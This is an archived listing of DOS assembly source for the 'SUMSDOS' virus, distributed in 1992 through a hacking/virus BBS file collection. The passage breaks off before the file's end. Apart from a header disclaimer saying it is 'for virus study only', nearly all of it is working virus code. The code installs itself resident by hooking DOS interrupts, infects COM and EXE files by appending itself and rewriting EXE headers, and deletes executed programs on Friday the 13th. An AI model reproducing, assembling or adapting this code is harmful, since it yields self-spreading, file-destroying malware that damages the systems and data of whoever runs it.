home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SUMSDOS.ASM < prev    next >
Assembly Source File  |  1992-03-08  |  24KB  |  787 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24.   
  25. PAGE  60,132
  26.   
  27. ;██████████████████████████████████████████████████████████████████████████
  28. ;██                                         ██
  29. ;██                    SUMSDOS                         ██
  30. ;██                                         ██
  31. ;██████████████████████████████████████████████████████████████████████████
  32.   
  33. DATA_1E        EQU    2CH                ; (0000:002C=0FF23H)
  34. DATA_2E        EQU    43H                ; (3E00:0043=0FFFFH)
  35. DATA_3E        EQU    45H                ; (3E00:0045=0FFFFH)
  36. DATA_4E        EQU    47H                ; (3E00:0047=0FFFFH)
  37. DATA_5E        EQU    49H                ; (3E00:0049=0FFFFH)
  38. DATA_6E        EQU    51H                ; (3E00:0051=0FFFFH)
  39. DATA_7E        EQU    53H                ; (3E00:0053=0FFFFH)
  40. DATA_8E        EQU    57H                ; (3E00:0057=0FFFFH)
  41. DATA_9E        EQU    5DH                ; (3E00:005D=0FFFFH)
  42. DATA_10E    EQU    5FH                ; (3E00:005F=0FFFFH)
  43. DATA_11E    EQU    61H                ; (3E00:0061=0FFFFH)
  44. DATA_12E    EQU    63H                ; (3E00:0063=0FFFFH)
  45. DATA_13E    EQU    65H                ; (3E00:0065=0FFFFH)
  46. DATA_14E    EQU    78H                ; (3E00:0078=0FFFFH)
  47. DATA_15E    EQU    7AH                ; (3E00:007A=0FFFFH)
  48. DATA_16E    EQU    7CH                ; (3E00:007C=0FFFFH)
  49. DATA_17E    EQU    7EH                ; (3E00:007E=0FFFFH)
  50. DATA_18E    EQU    0AH                ; (6CAF:000A=0)
  51. DATA_19E    EQU    0CH                ; (6CAF:000C=0)
  52. DATA_20E    EQU    0EH                ; (6CAF:000E=0)
  53. DATA_21E    EQU    0FH                ; (6CAF:000F=0)
  54. DATA_22E    EQU    11H                ; (6CAF:0011=0)
  55. DATA_23E    EQU    13H                ; (6CAF:0013=0)
  56. DATA_24E    EQU    15H                ; (6CAF:0015=0)
  57. DATA_25E    EQU    17H                ; (6CAF:0017=0)
  58. DATA_26E    EQU    19H                ; (6CAF:0019=0)
  59. DATA_27E    EQU    1BH                ; (6CAF:001B=0)
  60. DATA_28E    EQU    1DH                ; (6CAF:001D=0)
  61. DATA_29E    EQU    1FH                ; (6CAF:001F=0)
  62. DATA_30E    EQU    29H                ; (6CAF:0029=0)
  63. DATA_31E    EQU    2BH                ; (6CAF:002B=0)
  64. DATA_32E    EQU    2DH                ; (6CAF:002D=0)
  65. DATA_33E    EQU    2FH                ; (6CAF:002F=0)
  66. DATA_34E    EQU    31H                ; (6CAF:0031=0)
  67. DATA_35E    EQU    33H                ; (6CAF:0033=0)
  68. DATA_36E    EQU    4EH                ; (6CAF:004E=0)
  69. DATA_37E    EQU    70H                ; (6CAF:0070=0)
  70. DATA_38E    EQU    72H                ; (6CAF:0072=0)
  71. DATA_39E    EQU    74H                ; (6CAF:0074=0)
  72. DATA_40E    EQU    76H                ; (6CAF:0076=0)
  73. DATA_41E    EQU    7AH                ; (6CAF:007A=0)
  74. DATA_42E    EQU    80H                ; (6CAF:0080=0)
  75. DATA_43E    EQU    82H                ; (6CAF:0082=0)
  76. DATA_44E    EQU    8FH                ; (6CAF:008F=0)
  77.   
  78. CODESEG        SEGMENT
  79.         ASSUME    CS:CODESEG, DS:CODESEG
  80.   
  81.   
  82.         ORG    100h
  83.   
  84. sumsdos        PROC    FAR
  85.   
  86. start:
  87.         JMP    LOC_2
  88.         DB    73H, 55H, 4DH, 73H, 44H, 6FH
  89.         DB    73H, 0, 1, 0BCH, 17H, 0
  90.         DB    0, 0, 5, 0, 2BH, 2
  91.         DB    70H, 0, 6EH, 6, 20H, 0BH
  92.         DB    0EBH, 4, 14H, 0AH, 92H, 7BH
  93.         DB    0
  94.         DB    12 DUP (0)
  95.         DB    0E8H, 6, 0ECH, 37H, 17H, 80H
  96.         DB    0, 0, 0, 80H, 0, 37H
  97.         DB    17H, 5CH, 0, 37H, 17H, 6CH
  98.         DB    0, 37H, 17H, 10H, 7, 4CH
  99.         DB    72H, 0C5H, 0, 4CH, 72H, 0
  100.         DB    0F0H, 46H, 0, 4DH, 5AH, 60H
  101.         DB    0, 0CEH, 2, 9FH, 26H, 0C0H
  102.         DB    9, 7, 0, 7, 0, 75H
  103.         DB    4FH, 10H, 7, 84H, 19H, 0C5H
  104.         DB    0, 75H, 4FH, 1EH, 0, 0
  105.         DB    0, 0B8H, 0, 4CH, 0CDH, 21H
  106.         DB    5, 0, 20H, 0, 49H, 13H
  107.         DB    91H, 0B3H, 0, 2, 10H, 0
  108.         DB    50H, 93H, 5, 0, 5BH, 3DH
  109.         DB    70H, 0ABH
  110.         DB    'COMMAND.COM'
  111.         DB    1, 0, 0, 0, 0, 0
  112. LOC_2:
  113.         CLD                    ; Clear direction
  114.         MOV    AH,0E0H
  115.         INT    21H                ; DOS Services  ah=function E0h
  116.         CMP    AH,0E0H
  117.         JAE    LOC_3                ; Jump if above or =
  118.         CMP    AH,3
  119.         JB    LOC_3                ; Jump if below
  120.         MOV    AH,0DDH
  121.         MOV    DI,100H
  122.         MOV    SI,710H
  123.         ADD    SI,DI
  124.         MOV    CX,CS:[DI+11H]
  125.         INT    21H                ; DOS Services  ah=function DDh
  126. LOC_3:
  127.         MOV    AX,CS
  128.         ADD    AX,10H
  129.         MOV    SS,AX
  130.         MOV    SP,700H
  131.         PUSH    AX
  132.         MOV    AX,0C5H
  133.         PUSH    AX
  134.         RET                    ; Return far
  135.         DB    0FCH, 6, 2EH, 8CH, 6, 31H
  136.         DB    0, 2EH, 8CH, 6, 39H, 0
  137.         DB    2EH, 8CH, 6, 3DH, 0, 2EH
  138.         DB    8CH, 6, 41H, 0, 8CH, 0C0H
  139.         DB    5, 10H, 0, 2EH, 1, 6
  140.         DB    49H, 0, 2EH, 1, 6, 45H
  141.         DB    0, 0B4H, 0E0H, 0CDH, 21H, 80H
  142.         DB    0FCH, 0E0H, 73H, 13H, 80H, 0FCH
  143.         DB    3, 7, 2EH, 8EH, 16H, 45H
  144.         DB    0, 2EH, 8BH, 26H, 43H, 0
  145.         DB    2EH, 0FFH, 2EH, 47H, 0, 33H
  146.         DB    0C0H, 8EH, 0C0H, 26H, 0A1H, 0FCH
  147.         DB    3, 2EH, 0A3H, 4BH, 0, 26H
  148.         DB    0A0H, 0FEH, 3, 2EH, 0A2H, 4DH
  149.         DB    0
  150.         DB    26H
  151.   
  152. ;██████████████████████████████████████████████████████████████████████████
  153. ;
  154. ;            External Entry Point
  155. ;
  156. ;██████████████████████████████████████████████████████████████████████████
  157.   
  158. int_24h_entry    PROC    FAR
  159.         MOV    DATA_46,0A5F3H            ; (6CAF:03FC=29H)
  160.         MOV    ES:DATA_47,0CBH            ; (6CAF:03FE=2EH)
  161.         POP    AX
  162.         ADD    AX,10H
  163.         MOV    ES,AX
  164.         PUSH    CS
  165.         POP    DS
  166.         MOV    CX,710H
  167.         SHR    CX,1                ; Shift w/zeros fill
  168.         XOR    SI,SI                ; Zero register
  169.         MOV    DI,SI
  170.         PUSH    ES
  171.         MOV    AX,142H
  172.         PUSH    AX
  173.         JMP    FAR PTR LOC_1
  174.         DB    8CH, 0C8H, 8EH, 0D0H, 0BCH, 0
  175.         DB    7, 33H, 0C0H, 8EH, 0D8H, 2EH
  176.         DB    0A1H, 4BH, 0, 0A3H, 0FCH, 3
  177.         DB    2EH, 0A0H, 4DH, 0, 0A2H, 0FEH
  178.         DB    3
  179. int_24h_entry    ENDP
  180.   
  181.   
  182. ;██████████████████████████████████████████████████████████████████████████
  183. ;
  184. ;            External Entry Point
  185. ;
  186. ;██████████████████████████████████████████████████████████████████████████
  187.   
  188. int_21h_entry    PROC    FAR
  189.         MOV    BX,SP
  190.         MOV    CL,4
  191.         SHR    BX,CL                ; Shift w/zeros fill
  192.         ADD    BX,10H
  193.         MOV    CS:DATA_35E,BX            ; (6CAF:0033=0)
  194.         MOV    AH,4AH                ; 'J'
  195.         MOV    ES,CS:DATA_34E            ; (6CAF:0031=0)
  196.         INT    21H                ; DOS Services  ah=function 4Ah
  197.                             ;  change mem allocation, bx=siz
  198.         MOV    AX,3521H
  199.         INT    21H                ; DOS Services  ah=function 35h
  200.                             ;  get intrpt vector al in es:bx
  201.         MOV    CS:DATA_25E,BX            ; (6CAF:0017=0)
  202.         MOV    CS:DATA_26E,ES            ; (6CAF:0019=0)
  203.         PUSH    CS
  204.         POP    DS
  205.         MOV    DX,25BH
  206.         MOV    AX,2521H
  207.         INT    21H                ; DOS Services  ah=function 25h
  208.                             ;  set intrpt vector al to ds:dx
  209.         MOV    ES,DS:DATA_34E            ; (6CAF:0031=0)
  210.         MOV    ES,ES:DATA_1E            ; (0000:002C=0FF23H)
  211.         XOR    DI,DI                ; Zero register
  212.         MOV    CX,7FFFH
  213.         XOR    AL,AL                ; Zero register
  214.   
  215. LOCLOOP_5:
  216.         REPNE    SCASB                ; Rept zf=0+cx>0 Scan es:[di] for al
  217.         CMP    ES:[DI],AL
  218.         LOOPNZ    LOCLOOP_5            ; Loop if zf=0, cx>0
  219.   
  220.         MOV    DX,DI
  221.         ADD    DX,3
  222.         MOV    AX,4B00H
  223.         PUSH    ES
  224.         POP    DS
  225.         PUSH    CS
  226.         POP    ES
  227.         MOV    BX,35H
  228.         PUSH    DS
  229.         PUSH    ES
  230.         PUSH    AX
  231.         PUSH    BX
  232.         PUSH    CX
  233.         PUSH    DX
  234.         MOV    AH,2AH                ; '*'
  235.         INT    21H                ; DOS Services  ah=function 2Ah
  236.                             ;  get date, cx=year, dx=mon/day
  237.         MOV    BYTE PTR CS:DATA_20E,0        ; (6CAF:000E=0)
  238.         CMP    CX,7C3H
  239.         JE    LOC_7                ; Jump if equal
  240.         CMP    AL,5
  241.         JNE    LOC_6                ; Jump if not equal
  242.         CMP    DL,0DH
  243.         JNE    LOC_6                ; Jump if not equal
  244.         INC    BYTE PTR CS:DATA_20E        ; (6CAF:000E=0)
  245.         JMP    SHORT LOC_7
  246.         DB    90H
  247. LOC_6:
  248.         MOV    AX,3508H
  249.         INT    21H                ; DOS Services  ah=function 35h
  250.                             ;  get intrpt vector al in es:bx
  251.         MOV    CS:DATA_23E,BX            ; (6CAF:0013=0)
  252.         MOV    CS:DATA_24E,ES            ; (6CAF:0015=0)
  253.         PUSH    CS
  254.         POP    DS
  255.         MOV    WORD PTR DS:DATA_29E,7E90H    ; (6CAF:001F=0)
  256.         MOV    AX,2508H
  257.         MOV    DX,21EH
  258.         INT    21H                ; DOS Services  ah=function 25h
  259.                             ;  set intrpt vector al to ds:dx
  260. LOC_7:
  261.         POP    DX
  262.         POP    CX
  263.         POP    BX
  264.         POP    AX
  265.         POP    ES
  266.         POP    DS
  267.         PUSHF                    ; Push flags
  268.         CALL    DWORD PTR CS:DATA_25E        ; (6CAF:0017=0)
  269.         PUSH    DS
  270.         POP    ES
  271.         MOV    AH,49H                ; 'I'
  272.         INT    21H                ; DOS Services  ah=function 49h
  273.                             ;  release memory block, es=seg
  274.         MOV    AH,4DH                ; 'M'
  275.         INT    21H                ; DOS Services  ah=function 4Dh
  276.                             ;  get return code info in ax
  277.         MOV    AH,31H                ; '1'
  278.         MOV    DX,600H
  279.         MOV    CL,4
  280.         SHR    DX,CL                ; Shift w/zeros fill
  281.         ADD    DX,10H
  282.         INT    21H                ; DOS Services  ah=function 31h
  283.                             ;  terminate & stay resident
  284.         DB    32H, 0C0H, 0CFH, 2EH, 83H, 3EH
  285.         DB    1FH, 0, 2, 75H, 17H, 50H
  286.         DB    53H, 51H, 52H, 55H, 0B8H, 2
  287.         DB    6, 0B7H, 87H, 0B9H, 5, 5
  288.         DB    0BAH, 10H, 10H, 0CDH, 10H, 5DH
  289.         DB    5AH, 59H, 5BH, 58H, 2EH, 0FFH
  290.         DB    0EH, 1FH, 0, 75H, 12H, 2EH
  291.         DB    0C7H, 6, 1FH, 0, 1, 0
  292.         DB    50H, 51H, 56H, 0B9H, 1, 40H
  293.         DB    0F3H, 0ACH, 5EH, 59H, 58H, 2EH
  294.         DB    0FFH, 2EH, 13H, 0, 9CH, 80H
  295.         DB    0FCH, 0E0H, 75H, 5, 0B8H, 0
  296.         DB    3, 9DH, 0CFH, 80H, 0FCH, 0DDH
  297.         DB    74H, 13H, 80H, 0FCH, 0DEH, 74H
  298.         DB    28H, 3DH, 0, 4BH, 75H, 3
  299.         DB    0E9H, 0B4H, 0
  300. LOC_8:
  301.         POPF                    ; Pop flags
  302.         JMP    DWORD PTR CS:DATA_25E        ; (6CAF:0017=0)
  303. LOC_9:
  304.         POP    AX
  305.         POP    AX
  306.         MOV    AX,100H
  307.         MOV    CS:DATA_18E,AX            ; (6CAF:000A=0)
  308.         POP    AX
  309.         MOV    CS:DATA_19E,AX            ; (6CAF:000C=0)
  310.         REP    MOVSB                ; Rep while cx>0 Mov [si] to es:[di]
  311.         POPF                    ; Pop flags
  312.         MOV    AX,CS:DATA_21E            ; (6CAF:000F=0)
  313.         JMP    DWORD PTR CS:DATA_18E        ; (6CAF:000A=0)
  314. LOC_10:
  315.         ADD    SP,6
  316.         POPF                    ; Pop flags
  317.         MOV    AX,CS
  318.         MOV    SS,AX
  319.         MOV    SP,710H
  320.         PUSH    ES
  321.         PUSH    ES
  322.         XOR    DI,DI                ; Zero register
  323.         PUSH    CS
  324.         POP    ES
  325.         MOV    CX,10H
  326.         MOV    SI,BX
  327.         MOV    DI,21H
  328.         REP    MOVSB                ; Rep while cx>0 Mov [si] to es:[di]
  329.         MOV    AX,DS
  330.         MOV    ES,AX
  331.         MUL    WORD PTR CS:DATA_41E        ; (6CAF:007A=0) ax = data * ax
  332.         ADD    AX,CS:DATA_31E            ; (6CAF:002B=0)
  333.         ADC    DX,0
  334.         DIV    WORD PTR CS:DATA_41E        ; (6CAF:007A=0) ax,dxrem=dx:ax/data
  335.         MOV    DS,AX
  336.         MOV    SI,DX
  337.         MOV    DI,DX
  338.         MOV    BP,ES
  339.         MOV    BX,CS:DATA_33E            ; (6CAF:002F=0)
  340.         OR    BX,BX                ; Zero ?
  341.         JZ    LOC_12                ; Jump if zero
  342. LOC_11:
  343.         MOV    CX,8000H
  344.         REP    MOVSW                ; Rep while cx>0 Mov [si] to es:[di]
  345.         ADD    AX,1000H
  346.         ADD    BP,1000H
  347.         MOV    DS,AX
  348.         MOV    ES,BP
  349.         DEC    BX
  350.         JNZ    LOC_11                ; Jump if not zero
  351. LOC_12:
  352.         MOV    CX,CS:DATA_32E            ; (6CAF:002D=0)
  353.         REP    MOVSB                ; Rep while cx>0 Mov [si] to es:[di]
  354.         POP    AX
  355.         PUSH    AX
  356.         ADD    AX,10H
  357.         ADD    CS:DATA_30E,AX            ; (6CAF:0029=0)
  358. DATA_47        DB    2EH
  359.         DB    1, 6, 25H, 0, 2EH, 0A1H
  360.         DB    21H, 0, 1FH, 7, 2EH, 8EH
  361.         DB    16H, 29H, 0, 2EH, 8BH, 26H
  362.         DB    27H, 0, 2EH, 0FFH, 2EH, 23H
  363.         DB    0
  364. LOC_13:
  365.         XOR    CX,CX                ; Zero register
  366.         MOV    AX,4301H
  367.         INT    21H                ; DOS Services  ah=function 43h
  368.                             ;  get/set file attrb, nam@ds:dx
  369.         MOV    AH,41H                ; 'A'
  370.         INT    21H                ; DOS Services  ah=function 41h
  371.                             ;  delete file, name @ ds:dx
  372.         MOV    AX,4B00H
  373.         POPF                    ; Pop flags
  374.         JMP    DWORD PTR CS:DATA_25E        ; (6CAF:0017=0)
  375. LOC_14:
  376.         CMP    BYTE PTR CS:DATA_20E,1        ; (6CAF:000E=0)
  377.         JE    LOC_13                ; Jump if equal
  378.         MOV    WORD PTR CS:DATA_37E,0FFFFH    ; (6CAF:0070=0)
  379.         MOV    WORD PTR CS:DATA_44E,0        ; (6CAF:008F=0)
  380.         MOV    CS:DATA_42E,DX            ; (6CAF:0080=0)
  381.         MOV    CS:DATA_43E,DS            ; (6CAF:0082=0)
  382.         PUSH    AX
  383.         PUSH    BX
  384.         PUSH    CX
  385.         PUSH    DX
  386.         PUSH    SI
  387.         PUSH    DI
  388.         PUSH    DS
  389.         PUSH    ES
  390.         CLD                    ; Clear direction
  391.         MOV    DI,DX
  392.         XOR    DL,DL                ; Zero register
  393.         CMP    BYTE PTR [DI+1],3AH        ; ':'
  394.         JNE    LOC_15                ; Jump if not equal
  395.         MOV    DL,[DI]
  396.         AND    DL,1FH
  397. LOC_15:
  398.         MOV    AH,36H                ; '6'
  399.         INT    21H                ; DOS Services  ah=function 36h
  400.                             ;  get free space, drive dl,1=a:
  401.         CMP    AX,0FFFFH
  402.         JNE    LOC_17                ; Jump if not equal
  403. LOC_16:
  404.         JMP    LOC_43
  405. LOC_17:
  406.         MUL    BX                ; dx:ax = reg * ax
  407.         MUL    CX                ; dx:ax = reg * ax
  408.         OR    DX,DX                ; Zero ?
  409.         JNZ    LOC_18                ; Jump if not zero
  410.         CMP    AX,710H
  411.         JB    LOC_16                ; Jump if below
  412. LOC_18:
  413.         MOV    DX,CS:DATA_42E            ; (6CAF:0080=0)
  414.         PUSH    DS
  415.         POP    ES
  416.         XOR    AL,AL                ; Zero register
  417.         MOV    CX,41H
  418.         REPNE    SCASB                ; Rept zf=0+cx>0 Scan es:[di] for al
  419.         MOV    SI,CS:DATA_42E            ; (6CAF:0080=0)
  420. LOC_19:
  421.         MOV    AL,[SI]
  422.         OR    AL,AL                ; Zero ?
  423.         JZ    LOC_21                ; Jump if zero
  424.         CMP    AL,61H                ; 'a'
  425.         JB    LOC_20                ; Jump if below
  426.         CMP    AL,7AH                ; 'z'
  427.         JA    LOC_20                ; Jump if above
  428.         SUB    BYTE PTR [SI],20H        ; ' '
  429. LOC_20:
  430.         INC    SI
  431.         JMP    SHORT LOC_19
  432. LOC_21:
  433.         MOV    CX,0BH
  434.         SUB    SI,CX
  435.         MOV    DI,84H
  436.         PUSH    CS
  437.         POP    ES
  438.         MOV    CX,0BH
  439.         REPE    CMPSB                ; Rept zf=1+cx>0 Cmp [si] to es:[di]
  440.         JNZ    LOC_22                ; Jump if not zero
  441.         JMP    LOC_43
  442. LOC_22:
  443.         MOV    AX,4300H
  444.         INT    21H                ; DOS Services  ah=function 43h
  445.                             ;  get/set file attrb, nam@ds:dx
  446.         JC    LOC_23                ; Jump if carry Set
  447.         MOV    CS:DATA_38E,CX            ; (6CAF:0072=0)
  448. LOC_23:
  449.         JC    LOC_25                ; Jump if carry Set
  450.         XOR    AL,AL                ; Zero register
  451.         MOV    CS:DATA_36E,AL            ; (6CAF:004E=0)
  452.         PUSH    DS
  453.         POP    ES
  454.         MOV    DI,DX
  455.         MOV    CX,41H
  456.         REPNE    SCASB                ; Rept zf=0+cx>0 Scan es:[di] for al
  457.         CMP    BYTE PTR [DI-2],4DH        ; 'M'
  458.         JE    LOC_24                ; Jump if equal
  459.         CMP    BYTE PTR [DI-2],6DH        ; 'm'
  460.         JE    LOC_24                ; Jump if equal
  461.         INC    BYTE PTR CS:DATA_36E        ; (6CAF:004E=0)
  462. LOC_24:
  463.         MOV    AX,3D00H
  464.         INT    21H                ; DOS Services  ah=function 3Dh
  465.                             ;  open file, al=mode,name@ds:dx
  466. LOC_25:
  467.         JC    LOC_27                ; Jump if carry Set
  468.         MOV    CS:DATA_37E,AX            ; (6CAF:0070=0)
  469.         MOV    BX,AX
  470.         MOV    AX,4202H
  471.         MOV    CX,0FFFFH
  472.         MOV    DX,0FFFBH
  473.         INT    21H                ; DOS Services  ah=function 42h
  474.                             ;  move file ptr, cx,dx=offset
  475.         JC    LOC_25                ; Jump if carry Set
  476.         ADD    AX,5
  477.         MOV    CS:DATA_22E,AX            ; (6CAF:0011=0)
  478.         MOV    CX,5
  479.         MOV    DX,6BH
  480.         MOV    AX,CS
  481.         MOV    DS,AX
  482.         MOV    ES,AX
  483.         MOV    AH,3FH                ; '?'
  484.         INT    21H                ; DOS Services  ah=function 3Fh
  485.                             ;  read file, cx=bytes, to ds:dx
  486.         MOV    DI,DX
  487.         MOV    SI,5
  488.         REPE    CMPSB                ; Rept zf=1+cx>0 Cmp [si] to es:[di]
  489.         JNZ    LOC_26                ; Jump if not zero
  490.         MOV    AH,3EH                ; '>'
  491.         INT    21H                ; DOS Services  ah=function 3Eh
  492.                             ;  close file, bx=file handle
  493.         JMP    LOC_43
  494. LOC_26:
  495.         MOV    AX,3524H
  496.         INT    21H                ; DOS Services  ah=function 35h
  497.                             ;  get intrpt vector al in es:bx
  498.         MOV    DS:DATA_27E,BX            ; (6CAF:001B=0)
  499.         MOV    DS:DATA_28E,ES            ; (6CAF:001D=0)
  500.         MOV    DX,21BH
  501.         MOV    AX,2524H
  502.         INT    21H                ; DOS Services  ah=function 25h
  503.                             ;  set intrpt vector al to ds:dx
  504.         LDS    DX,DWORD PTR DS:DATA_42E    ; (6CAF:0080=0) Load 32 bit ptr
  505.         XOR    CX,CX                ; Zero register
  506.         MOV    AX,4301H
  507.         INT    21H                ; DOS Services  ah=function 43h
  508.                             ;  get/set file attrb, nam@ds:dx
  509. LOC_27:
  510.         JC    LOC_28                ; Jump if carry Set
  511.         MOV    BX,CS:DATA_37E            ; (6CAF:0070=0)
  512.         MOV    AH,3EH                ; '>'
  513.         INT    21H                ; DOS Services  ah=function 3Eh
  514.                             ;  close file, bx=file handle
  515.         MOV    WORD PTR CS:DATA_37E,0FFFFH    ; (6CAF:0070=0)
  516.         MOV    AX,3D02H
  517.         INT    21H                ; DOS Services  ah=function 3Dh
  518.                             ;  open file, al=mode,name@ds:dx
  519.         JC    LOC_28                ; Jump if carry Set
  520.         MOV    CS:DATA_37E,AX            ; (6CAF:0070=0)
  521.         MOV    AX,CS
  522.         MOV    DS,AX
  523.         MOV    ES,AX
  524.         MOV    BX,DS:DATA_37E            ; (6CAF:0070=0)
  525.         MOV    AX,5700H
  526.         INT    21H                ; DOS Services  ah=function 57h
  527.                             ;  get/set file date & time
  528.         MOV    DS:DATA_39E,DX            ; (6CAF:0074=0)
  529.         MOV    DS:DATA_40E,CX            ; (6CAF:0076=0)
  530.         MOV    AX,4200H
  531.         XOR    CX,CX                ; Zero register
  532.         MOV    DX,CX
  533.         INT    21H                ; DOS Services  ah=function 42h
  534.                             ;  move file ptr, cx,dx=offset
  535. LOC_28:
  536.         JC    LOC_31                ; Jump if carry Set
  537.         CMP    BYTE PTR DS:DATA_36E,0        ; (6CAF:004E=0)
  538.         JE    LOC_29                ; Jump if equal
  539.         JMP    SHORT LOC_33
  540.         DB    90H
  541. LOC_29:
  542.         MOV    BX,1000H
  543.         MOV    AH,48H                ; 'H'
  544.         INT    21H                ; DOS Services  ah=function 48h
  545.                             ;  allocate memory, bx=bytes/16
  546.         JNC    LOC_30                ; Jump if carry=0
  547.         MOV    AH,3EH                ; '>'
  548.         MOV    BX,DS:DATA_37E            ; (6CAF:0070=0)
  549.         INT    21H                ; DOS Services  ah=function 3Eh
  550.                             ;  close file, bx=file handle
  551.         JMP    LOC_43
  552. LOC_30:
  553.         INC    WORD PTR DS:DATA_44E        ; (6CAF:008F=0)
  554.         MOV    ES,AX
  555.         XOR    SI,SI                ; Zero register
  556.         MOV    DI,SI
  557.         MOV    CX,710H
  558.         REP    MOVSB                ; Rep while cx>0 Mov [si] to es:[di]
  559.         MOV    DX,DI
  560.         MOV    CX,DS:DATA_22E            ; (6CAF:0011=0)
  561.         MOV    BX,DS:DATA_37E            ; (6CAF:0070=0)
  562.         PUSH    ES
  563.         POP    DS
  564.         MOV    AH,3FH                ; '?'
  565.         INT    21H                ; DOS Services  ah=function 3Fh
  566.                             ;  read file, cx=bytes, to ds:dx
  567. LOC_31:
  568.         JC    LOC_32                ; Jump if carry Set
  569.         ADD    DI,CX
  570.         XOR    CX,CX                ; Zero register
  571.         MOV    DX,CX
  572.         MOV    AX,4200H
  573.         INT    21H                ; DOS Services  ah=function 42h
  574.                             ;  move file ptr, cx,dx=offset
  575.         MOV    SI,5
  576.         MOV    CX,5
  577.         DB    0F3H, 2EH, 0A4H, 8BH, 0CFH, 33H
  578.         DB    0D2H, 0B4H, 40H, 0CDH
  579.         DB    21H
  580. LOC_32:
  581.         JC    LOC_34                ; Jump if carry Set
  582.         JMP    LOC_41
  583. LOC_33:
  584.         MOV    CX,1CH
  585.         MOV    DX,4FH
  586.         MOV    AH,3FH                ; '?'
  587.         INT    21H                ; DOS Services  ah=function 3Fh
  588.                             ;  read file, cx=bytes, to ds:dx
  589. LOC_34:
  590.         JC    LOC_36                ; Jump if carry Set
  591.         MOV    WORD PTR DS:DATA_11E,1984H    ; (3E00:0061=0FFFFH)
  592.         MOV    AX,DS:DATA_9E            ; (3E00:005D=0FFFFH)
  593.         MOV    DS:DATA_3E,AX            ; (3E00:0045=0FFFFH)
  594.         MOV    AX,DS:DATA_10E            ; (3E00:005F=0FFFFH)
  595.         MOV    DS:DATA_2E,AX            ; (3E00:0043=0FFFFH)
  596.         MOV    AX,DS:DATA_12E            ; (3E00:0063=0FFFFH)
  597.         MOV    DS:DATA_4E,AX            ; (3E00:0047=0FFFFH)
  598.         MOV    AX,DS:DATA_13E            ; (3E00:0065=0FFFFH)
  599.         MOV    DS:DATA_5E,AX            ; (3E00:0049=0FFFFH)
  600.         MOV    AX,DS:DATA_7E            ; (3E00:0053=0FFFFH)
  601.         CMP    WORD PTR DS:DATA_6E,0        ; (3E00:0051=0FFFFH)
  602.         JE    LOC_35                ; Jump if equal
  603.         DEC    AX
  604. LOC_35:
  605.         MUL    WORD PTR DS:DATA_14E        ; (3E00:0078=0FFFFH) ax = data * ax
  606.         ADD    AX,DS:DATA_6E            ; (3E00:0051=0FFFFH)
  607.         ADC    DX,0
  608.         ADD    AX,0FH
  609.         ADC    DX,0
  610.         AND    AX,0FFF0H
  611.         MOV    DS:DATA_16E,AX            ; (3E00:007C=0FFFFH)
  612.         MOV    DS:DATA_17E,DX            ; (3E00:007E=0FFFFH)
  613.         ADD    AX,710H
  614.         ADC    DX,0
  615. LOC_36:
  616.         JC    LOC_38                ; Jump if carry Set
  617.         DIV    WORD PTR DS:DATA_14E        ; (3E00:0078=0FFFFH) ax,dxrem=dx:ax/da
  618.         OR    DX,DX                ; Zero ?
  619.         JZ    LOC_37                ; Jump if zero
  620.         INC    AX
  621. LOC_37:
  622.         MOV    DS:DATA_7E,AX            ; (3E00:0053=0FFFFH)
  623.         MOV    DS:DATA_6E,DX            ; (3E00:0051=0FFFFH)
  624.         MOV    AX,DS:DATA_16E            ; (3E00:007C=0FFFFH)
  625.         MOV    DX,DS:DATA_17E            ; (3E00:007E=0FFFFH)
  626.         DIV    WORD PTR DS:DATA_15E        ; (3E00:007A=0FFFFH) ax,dxrem=dx:ax/da
  627.         SUB    AX,DS:DATA_8E            ; (3E00:0057=0FFFFH)
  628.         MOV    DS:DATA_13E,AX            ; (3E00:0065=0FFFFH)
  629.         MOV    WORD PTR DS:DATA_12E,0C5H    ; (3E00:0063=0FFFFH)
  630.         MOV    DS:DATA_9E,AX            ; (3E00:005D=0FFFFH)
  631.         MOV    WORD PTR DS:DATA_10E,710H    ; (3E00:005F=0FFFFH)
  632.         XOR    CX,CX                ; Zero register
  633.         MOV    DX,CX
  634.         MOV    AX,4200H
  635.         INT    21H                ; DOS Services  ah=function 42h
  636.                             ;  move file ptr, cx,dx=offset
  637. LOC_38:
  638.         JC    LOC_39                ; Jump if carry Set
  639.         MOV    CX,1CH
  640.         MOV    DX,4FH
  641.         MOV    AH,40H                ; '@'
  642.         INT    21H                ; DOS Services  ah=function 40h
  643.                             ;  write file cx=bytes, to ds:dx
  644. LOC_39:
  645.         JC    LOC_40                ; Jump if carry Set
  646.         CMP    AX,CX
  647.         JNE    LOC_41                ; Jump if not equal
  648.         MOV    DX,DS:DATA_16E            ; (3E00:007C=0FFFFH)
  649.         MOV    CX,DS:DATA_17E            ; (3E00:007E=0FFFFH)
  650.         MOV    AX,4200H
  651.         INT    21H                ; DOS Services  ah=function 42h
  652.                             ;  move file ptr, cx,dx=offset
  653. LOC_40:
  654.         JC    LOC_41                ; Jump if carry Set
  655.         XOR    DX,DX                ; Zero register
  656.         MOV    CX,710H
  657.         MOV    AH,40H                ; '@'
  658.         INT    21H                ; DOS Services  ah=function 40h
  659.                             ;  write file cx=bytes, to ds:dx
  660. LOC_41:
  661.         CMP    WORD PTR CS:DATA_44E,0        ; (6CAF:008F=0)
  662.         JE    LOC_42                ; Jump if equal
  663.         MOV    AH,49H                ; 'I'
